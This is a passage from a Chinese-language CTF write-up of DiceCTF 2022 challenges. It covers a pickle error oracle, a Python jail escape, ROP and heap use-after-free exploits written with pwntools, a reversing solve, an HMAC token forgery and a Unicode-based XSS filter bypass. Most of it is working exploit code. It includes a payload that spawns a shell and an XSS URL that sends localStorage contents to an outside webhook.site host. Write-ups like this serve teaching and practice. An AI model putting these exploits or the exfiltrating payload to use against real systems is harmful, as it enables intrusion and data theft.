err = get_err(ord(c), prefix)
last = err.strip().split("\n")[-1]
print(c, last)
rev[last].append(c)
return rev
context.log_level = "error"
# @lru_cache(maxsize=None)
def get_remote_err(idx):
try:
io = remote("mc.ax", 31774)
# io = process(["python", "vinegar.py"])
# io.sendline(b"\x95" + (2 + idx).to_bytes(8, "little") + b"j")
io.sendline(b")\x8a" + bytes([1 + idx]))
ret = io.recvallS()
io.close()
return ret
except:
pass
def get_local_err(idx, testflag):
try:
# io = remote("mc.ax", 31774)
io = process(
[
"/home/maple3142/.asdf/installs/python/3.9.10/bin/python",
"vinegar_test.py",
testflag,
]
)
io.sendline(b")\x8a" + bytes([1 + idx]))
ret = io.recvallS()
io.close()
# print(ret.encode())
return ret
except:
import traceback
traceback.print_exc()
pass
# flag = b"dice{beh2P02199"
# rev = build_dict(flag)
# last = get_remote_err(len(flag)).strip().split("\n")[-1]
# print(last, rev.get(last, None))
# test flag
# 6: _pickle.UnpicklingError: unpickling stack underflow
# 7: _pickle.UnpicklingError: Memo value not found at index 50
# 8: but no persistent_load function was specified.
# 9: _pickle.UnpicklingError: Memo value not found at index 959525424
# 10: _pickle.UnpicklingError: Memo value not found at index 959525424
# 11: _pickle.UnpicklingError: Memo value not found at index 959525424
# 12: _pickle.UnpicklingError: invalid load key, '9'.
work_err1 = get_remote_err
work_err2 = partial(get_local_err, testflag=b"dice{beh2Ptj0219}")
work_err2 = partial(get_local_err, testflag=b"dice{beh2Qdj0219}")
for i in range(4, 9):
print(i)
print("R", work_err1(i).strip().split("\n")[-1])
lo = work_err2(i).strip().split("\n")
print("L", lo[-2])
print(" ", lo[-1])
print()
input("pause")
buf = bytearray(b"dice{buh2Qdj0219}")
for c in range(33, 123):
# buf[10] = c
buf[6] = c
print(chr(c), bytes(buf).decode())
# print("R", work_err1(i).strip().split("\n")[-1])
for i in range(4, 9):
try:
lo = get_local_err(i, bytes(buf)).strip().split("\n")
print(i)
print("L", lo[-2])
print(" ", lo[-1])
except:
import traceback
traceback.print_exc()
print()
# dice{buh2Qdj0219}
vinegar_test.py
:
import pickle
import sys
import io
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
raise pickle.UnpicklingError(f"HACKING DETECTED")
data = sys.stdin.buffer.readline() + sys.argv[1].encode()
file = io.BytesIO(data)
try:
SafeUnpickler(file).load()
except:
import traceback
traceback.print_exc()
print(file.tell(), data[file.tell() :])
TI-1337 Silver Edition
#!/usr/bin/env python3
import dis
import sys
banned = ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"]
used_gift = False
def gift(target, name, value):
global used_gift
if used_gift: sys.exit(1)
used_gift = True
setattr(target, name, value)
print("Welcome to the TI-1337 Silver Edition. Enter your calculations below:")
math = input("> ")
if len(math) > 1337:
print("Nobody needs that much math!")
sys.exit(1)
code = compile(math, "<math>", "exec")
bytecode = list(code.co_code)
instructions = list(dis.get_instructions(code))
for i, inst in enumerate(instructions):
if inst.is_jump_target:
print("Math doesn't need control flow!")
sys.exit(1)
nextoffset = instructions[i+1].offset if i+1 < len(instructions) else len(bytecode)
if inst.opname in banned:
bytecode[inst.offset:instructions[i+1].offset] = [-1]*(instructions[i+1].offset-inst.offset)
names = list(code.co_names)
for i, name in enumerate(code.co_names):
if "__" in name: names[i] = "$INVALID$"
code = code.replace(co_code=bytes(b for b in bytecode if b >= 0), co_names=tuple(names), co_stacksize=2**20)
v = {}
exec(code, {"__builtins__": {"gift": gift}}, v)
if v: print("\n".join(f"{name} = {val}" for name, val in v.items()))
else: print("No results stored.")
這題是個 pyjail,它會先 compile 後對 bytecode 做些檢查。有 jump 的話直接 exit,其他如果是 ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"]
之一的話就直接移除掉。另外 co_names
中有 __
的也都會被替換掉。
執行環境一樣沒有正常的 __builtins__
,不過它有給一個 gift
函數可以呼叫一次,裡面就是 setattr
而已。
從 dis 的官方文件可知它有個 CALL_METHOD
沒擋,所以先 gift.gift=gift
之後呼叫 gift.gift(x,y,z)
是可行的。
setattr
的目標其實也沒幾個,想一下就知道要想辦法改 gift.__code__
去改 gift
的行為,所以目標是要獲得一個 code object。
測試一下可知 lambda x: 1
這樣的 expression 在 bytecode 中會被表示為
LOAD_CONST 0 (<code object <lambda> at...)
LOAD_CONST 1 ('<lambda>')
MAKE_FUNCTION 0
當它把 MAKE_FUNCTION
移除時 code object 就會殘留在 stack 上,所以要想辦法把 code object 拿出來才行。
繼續測試會發現 [1,lambda x:1]
會 compile 為
LOAD_CONST 0 (1)
LOAD_CONST 1 (<code object <lambda> at ...)
LOAD_CONST 2 ('<lambda>')
MAKE_FUNCTION 0
BUILD_LIST 2
當 MAKE_FUNCTION
被移除掉之後 BUILD_LIST
就會拿 <code object>
和 '<lambda>'
去產生 list,所以取 list 的第零項就能拿到 code object 了。
剩下就呼叫 gift.gift(gift, '__code__', co)
後再呼叫一次 gift.gift()
就能 escape 了。
gift.gift=gift;co=[1,lambda:exec('import os;os.system("sh")')][0];gift.gift(gift,'__code__', co);gift.gift()
# dice{i_sh0uldve_upgr4ded_to_th3_color_edit10n}
Pwn
interview-opportunity
簡單的 overflow 然後 ROP 從 GOT leak 出 libc 後再來一次,之後進 one gadget 拿 shell。
from pwn import *
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]
# context.log_level = "debug"
elf = ELF("./interview-opportunity_patched")
libc = ELF("./libc.so.6")
pop_rdi = 0x401313
# io = gdb.debug("./interview-opportunity_patched", "b *(main+101)\nc")
io = remote("mc.ax", 31081)
io.sendlineafter(
b"DiceGang?\n",
b"a" * 34 + flat([pop_rdi, elf.got["puts"], elf.plt["puts"], elf.sym["main"]]),
)
io.recvline()
io.recvline()
libc_base = int.from_bytes(io.recvn(6), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base
pop_rsi_r15 = 0x401311
io.sendlineafter(
b"DiceGang?\n",
b"a" * 34 + flat([pop_rsi_r15, 0, 0, libc_base + 0xCBD20]),
)
io.interactive()
# dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}
baby-rop
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "seccomp-bpf.h"
void activate_seccomp()
{
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
ALLOW_SYSCALL(mprotect),
ALLOW_SYSCALL(mmap),
ALLOW_SYSCALL(munmap),
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(close),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(fstat),
ALLOW_SYSCALL(brk),
ALLOW_SYSCALL(newfstatat),
ALLOW_SYSCALL(ioctl),
ALLOW_SYSCALL(lseek),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
// method 1, use macro
printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);
// method 2, use gnu_get_libc_version
puts(gnu_get_libc_version());
// method 3, use confstr function
char version[30] = {0};
confstr(_CS_GNU_LIBC_VERSION, version, 30);
puts(version);
return 0;
}
#define NUM_STRINGS 10
typedef struct {
size_t length;
char * string;
} safe_string;
safe_string * data_storage[NUM_STRINGS];
void read_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
for(size_t j = 0; j < ptr->length; ++j) {
fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
}
fprintf(stdout, "\n");
fflush(stdout);
}
void free_safe_string(int i) {
safe_string * ptr = data_storage[i];
free(ptr->string);
free(ptr);
}
void write_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "enter your string: ");
fflush(stdout);
read(STDIN_FILENO, ptr->string, ptr->length);
}
void create_safe_string(int i) {
safe_string * ptr = malloc(sizeof(safe_string));
fprintf(stdout, "How long is your safe_string: ");
fflush(stdout);
scanf("%zu", &ptr->length);
ptr->string = malloc(ptr->length);
data_storage[i] = ptr;
write_safe_string(i);
}
// flag.txt
int main() {
get_libc();
activate_seccomp();
int idx;
int c;
while(1){
fprintf(stdout, "enter your command: ");
fflush(stdout);
while((c = getchar()) == '\n' || c == '\r');
if(c == EOF) { return 0; }
fprintf(stdout, "enter your index: ");
fflush(stdout);
scanf("%u", &idx);
if((idx < 0) || (idx >= NUM_STRINGS)) {
fprintf(stdout, "index out of range: %d\n", idx);
fflush(stdout);
continue;
}
switch(c) {
case 'C':
create_safe_string(idx);
break;
case 'F':
free_safe_string(idx);
break;
case 'R':
read_safe_string(idx);
break;
case 'W':
write_safe_string(idx);
break;
case 'E':
return 0;
}
}
}
雖然名稱叫 ROP,不過題目卻是個傳統的 heap note 加上 seccomp 限制 ORW 之類的 syscall。另外 binary 沒有 PIE,還有 glibc 是 2.34。
它有個很明顯的 UAF,而使用的結構是:
typedef struct {
size_t length;
char * string;
} safe_string;
string
部分也是 malloc
來的,大小可控。所以讓 string = malloc(0x10)
就能有一樣的大小了。
free 的時候是先 free string
之後才是 struct 本身,所以產生四個 notes 之後 free 的話會變成這樣:
tcache 0x10: str3->s2->str2->s1->str1->s0->str0
unsorted bin: s3
// s means struct
// str means string
之後再建立 note 4 就有 s4=str3
和 str4=s2
,所以寫入 str4
就能控制 s2
,這樣就有任意讀和任意寫。
正常來說此時讀取 note 2 可以讀到其他 heap pointer,不過這題的 glibc 是 2.34,它在 2.32 之後為 tcache 加上了一個 safe linking 的保護,對 pointer 做點小小的 obfuscation。不過這已經夠讓我拿不到 heap address 了。
關鍵在於這題 PIE 沒開,所以直接從 GOT table 可以拿 libc,不過因為有 seccomp 所以只能 ORW。方法就是從 libc 的 _environ
讀取 char **environ
的 address,然後計算它和 main ret 的 offset 之後可以寫 ROP。剩下就 ROP 去讀 flag.txt
就搞定了。
from pwn import *
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./babyrop_patched")
libc = ELF("./libc.so.6")
# io = gdb.debug("./babyrop_patched", "b *(main+367)\nc")
io = remote("mc.ax", 31245)
def create_note(idx, sz, data):
io.sendlineafter(b"command: ", b"C")
io.sendlineafter(b"index: ", str(idx).encode())
io.sendlineafter(b"safe_string: ", str(sz).encode())
io.sendafter(b"string: ", data)
def read_note(idx):
io.sendlineafter(b"command: ", b"R")
io.sendlineafter(b"index: ", str(idx).encode())
io.recvuntil(b"bytes\n")
return bytes.fromhex(io.recvlineS().strip().replace(" ", ""))
def write_note(idx, data):
io.sendlineafter(b"command: ", b"W")
io.sendlineafter(b"index: ", str(idx).encode())
io.sendafter(b"string: ", data)
def free_note(idx):
io.sendlineafter(b"command: ", b"F")
io.sendlineafter(b"index: ", str(idx).encode())
# setup
for i in range(4):
create_note(i, 16, f"peko{i}".encode())
for i in range(4):
free_note(i)
create_note(4, 16, flat([8, elf.got["puts"]]))
# leak libc
libc_base = int.from_bytes(read_note(2), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base
# leak stack
environ_addr = libc.sym["_environ"]
print(f"{environ_addr = :#x}")
write_note(4, flat([8, environ_addr]))
environ = int.from_bytes(read_note(2), "little")
print(f"{environ = :#x}")
main_ret = environ - 0x140
print(f"{main_ret = :#x}")
# write flag.txt to bss
buf = elf.bss() + 0x200
print(f"{buf = :#x}")
write_note(4, flat([len("flag.txt"), buf]))
write_note(2, b"flag.txt")
# generate rop
rop = ROP(libc)
pop_rax = rop.find_gadget(["pop rax", "ret"]).address
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx = rop.find_gadget(["pop rdx", "ret"]).address
syscall_ret = rop.find_gadget(["syscall", "ret"]).address
def syscall(rax, rdi, rsi, rdx):
return [pop_rax, rax, pop_rdi, rdi, pop_rsi, rsi, pop_rdx, rdx, syscall_ret]
chain = []
chain += syscall(2, buf, 0, 0)
chain += syscall(0, 3, buf, 100)
chain += syscall(1, 1, buf, 100)
payload = flat(chain)
# write rop
write_note(4, flat([len(payload), main_ret]))
write_note(2, payload)
# exit to trigger rop
io.sendlineafter(b"command: ", b"E")
io.sendlineafter(b"index: ", b"0")
io.interactive()
# dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}
Rev
hyperlink
import json
def test_chain(links, start, end):
current = start
for link in links:
current = int(''.join(
str(int(current & component != 0))
for component in link
), 2)
return end == current & end
def main():
try:
with open('hyperlink.json', 'r') as f:
data = json.load(f)
except IOError:
print('Could not open hyperlink.json')
return
print('Welcome to the chain building game.')
print('Enter a chain and see if it works:')
chain = input()
legal_chars = set('abcdefghijklmnopqrstuvwxyz{}_')
if any(c not in legal_chars for c in chain):
print('Chain contains illegal characters!')
return
try:
links = [data['links'][c] for c in chain]
result = test_chain(links, data['start'], data['target'])
except Exception:
print('Something went wrong!')
return
if result:
print('Chain works! Congratulations.')
else:
print('Oh no! Chain does not reach the target.')
if __name__ == '__main__':
main()
其中 hyperlink.json
是個像這樣的檔案:
{
"start": 11692013098828707274653979175577397281211070056584,
"target": 703250224969939491157640855358987637009,
"links": {
"a": [164 numbers..],
...,
"_": [164 numbers..]
}
}
讀程式碼可以知道它也算是一個 graph traversal,不過節點太多不可能爆破 (2^164)。
觀察一下它狀態的 bits 可發現它有點像狀態機,從初始狀態到結束狀態像是這樣:
start:
10000000000000000000000000000000000010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000
end:
00000000000000000000000000000000001000010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001
隨便測試一些字元可以發現右邊那些 1000
可能會根據正確的字元變成 0100
,之後再變成 0010
,最後成為 0001
。左邊的那個 1
單純只是一直向右移動而已,不管正確與否。
所以就想辦法把那些 1000
轉換成一個進度的值,一個爆破一個字元看看哪個字元給的進度值最高,雖然它沒辦法完全正確的還原 flag,但加上一些猜測也可以猜出 flag。
import json
def test_chain(links, start, end):
current = start
for link in links:
current = int(
"".join(str(int(current & component != 0)) for component in link), 2
)
return end == current & end
def step(cur, *links):
for link in links:
cur = int("".join(str(int(cur & component != 0)) for component in link), 2)
return cur
with open("hyperlink.json", "r") as f:
data = json.load(f)
print(len(data["links"]))
print(len(data["links"]["d"]))
# for x in data["links"]["w"]:
# print(f"{x:0164b}")
print()
print(f"{data['start']:0164b}")
print(f"{step(data['start'],data['links']['d']):0164b}")
print(f"{step(data['start'],data['links']['d'],data['links']['i']):0164b}")
print(
f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c']):0164b}"
)
print(
f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c'],data['links']['e']):0164b}"
)
print()
print(
f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c'],data['links']['e'],data['links']['{']):0164b}"
)
print(
f"{step(data['start'],data['links']['d'],data['links']['i'],data['links']['c'],data['links']['e'],data['links']['}']):0164b}"
)
print()
print(f"{data['target']:0164b}")
print()
def num2state(n):
state_bits = f"{n:0164b}"[36:]
return [
int("".join(map(str, state_bits[i + 1 : i + 4][::-1])), 2)
for i in range(0, len(state_bits), 4)
]
chars = "abcdefghijklmnopqrstuvwxyz{}_"
current = step(
data["start"],
data["links"]["d"],
data["links"]["i"],
data["links"]["c"],
data["links"]["e"],
data["links"]["{"],
data["links"]["e"],
data["links"]["v"],
data["links"]["e"],
)
cur_state = num2state(current)
for c in chars:
nxt = step(current, data["links"][c])
state = num2state(nxt)
g = sum(state)
print(c, g)
def dfs(cur, cur_state, flag=""):
print(flag)
for c in chars:
nxt = step(cur, data["links"][c])
state = num2state(nxt)
if any([x > y for x, y in zip(state, cur_state) if x > 0 and y > 0]):
print(cur_state)
print(state)
print()
dfs(nxt, state, flag + c)
cur = step(data["start"], data["links"]["d"])
# dfs(cur, num2state(cur), 'di')
flag = "d"
for _ in range(100):
mx = 0
mxc = None
for c in chars:
nxt = step(cur, data["links"][c])
state = num2state(nxt)
g = sum(state)
if c == "e":
g -= len(flag)
if g > mx:
mx = g
mxc = c
flag += mxc
cur = step(cur, data["links"][mxc])
print(flag)
# dice{everything_is_linear_algebra}
Web
knock-knock
const crypto = require('crypto');
class Database {
constructor() {
this.notes = [];
this.secret = `secret-${crypto.randomUUID}`;
}
createNote({ data }) {
const id = this.notes.length;
this.notes.push(data);
return {
id,
token: this.generateToken(id),
};
}
getNote({ id, token }) {
if (token !== this.generateToken(id)) return { error: 'invalid token' };
if (id >= this.notes.length) return { error: 'note not found' };
return { data: this.notes[id] };
}
generateToken(id) {
return crypto
.createHmac('sha256', this.secret)
.update(id.toString())
.digest('hex');
}
}
const db = new Database();
db.createNote({ data: process.env.FLAG });
const express = require('express');
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));
app.post('/create', (req, res) => {
const data = req.body.data ?? 'no data provided.';
const { id, token } = db.createNote({ data: data.toString() });
res.redirect(`/note?id=${id}&token=${token}`);
});
app.get('/note', (req, res) => {
const { id, token } = req.query;
const note = db.getNote({
id: parseInt(id ?? '-1'),
token: (token ?? '').toString(),
});
if (note.error) {
res.send(note.error);
} else {
res.send(note.data);
}
});
app.listen(3000, () => {
console.log('listening on port 3000');
});
這題 flag 存在第 0 個 notes 中,不過需要一個使用 secret signed 過的 token 才能存取。可以注意到它 secret 是 secret-${crypto.randomUUID}
,根本沒有呼叫到,所以 crypto.randomUUID
轉換成字串的時候其實只是它的 source code。
因為 Dockerfile 有給版本是 node:17.4.0-buster-slim
,所以用已知的 secret 可以 sign 目標的 token 拿 flag。
const crypto = require('crypto')
const secret = `secret-${crypto.randomUUID}`
const id = '0'
console.log(crypto.createHmac('sha256', secret).update(id).digest('hex'))
// https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
// dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
blazingfast
index.html
中的 js:
let blazingfast = null;
function mock(str) {
blazingfast.init(str.length);
if (str.length >= 1000) return 'Too long!';
for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.';
blazingfast.write(c.charCodeAt(0));
}
if (blazingfast.mock() == 1) {
return 'No XSS for you!';
} else {
let mocking = '', buf = blazingfast.read();
while(buf != 0) {
mocking += String.fromCharCode(buf);
buf = blazingfast.read();
}
return mocking;
}
}
function demo(str) {
document.getElementById('result').innerHTML = mock(str);
}
WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
blazingfast = instance.exports;
document.getElementById('demo-submit').onclick = () => {
demo(document.getElementById('demo').value);
}
let query = new URLSearchParams(window.location.search).get('demo');
if (query) {
document.getElementById('demo').value = query;
demo(query);
}
})
wasm module:
int length, ptr = 0;
char buf[1000];
void init(int size) {
length = size;
ptr = 0;
}
char read() {
return buf[ptr++];
}
void write(char c) {
buf[ptr++] = c;
}
int mock() {
for (int i = 0; i < length; i ++) {
if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
buf[i] += 32;
}
if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
return 1;
}
}
ptr = 0;
return 0;
}
這題目標是要想辦法 XSS 拿 localStorage.flag
。可以看到說它從 query string 中拿字串,然後使用 C 寫的 wasm 做 filter 加上改 MoCkInG CaSe 而已。wasm 那邊會直接拒絕掉所有包含 <>&"
的字串。
題目關鍵在於這邊:
blazingfast.init(str.length);
if (str.length >= 1000) return 'Too long!';
for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.';
blazingfast.write(c.charCodeAt(0));
}
在 unicode 中一個字串 uppercase 後長度是有可能產生變化的,例如 'ß'.toUpperCase() === 'SS'
。所以如果 str
是 n
個 ß
,它實際上會寫入 2n
個字元。
而 mock
中的 length
是來自初始的 str.length
,所以是 n
,因此後面的字元其實都不會被 filter 到。
所以就在 xss payload 前面塞長度大於等於 payload 數量的 ß
就能繞過檢查了。
# eval(location.hash.slice(1)) and url escape to bypass uppercase
payload = "<img src=1 onerror=eval(location.hash.slice(1))>"
print("ß" * len(payload) + payload)
# upper(ß) = SS
# https://blazingfast.mc.ax/?demo=%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%C3%9F%3Cimg%20src%3D1%20onerror%3D%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3E#location.href='https://webhook.site/3ff901d8-82eb-4f29-9b4b-7a9598250f9d?flag='+localStorage.flag
# dice{1_dont_know_how_to_write_wasm_pwn_s0rry}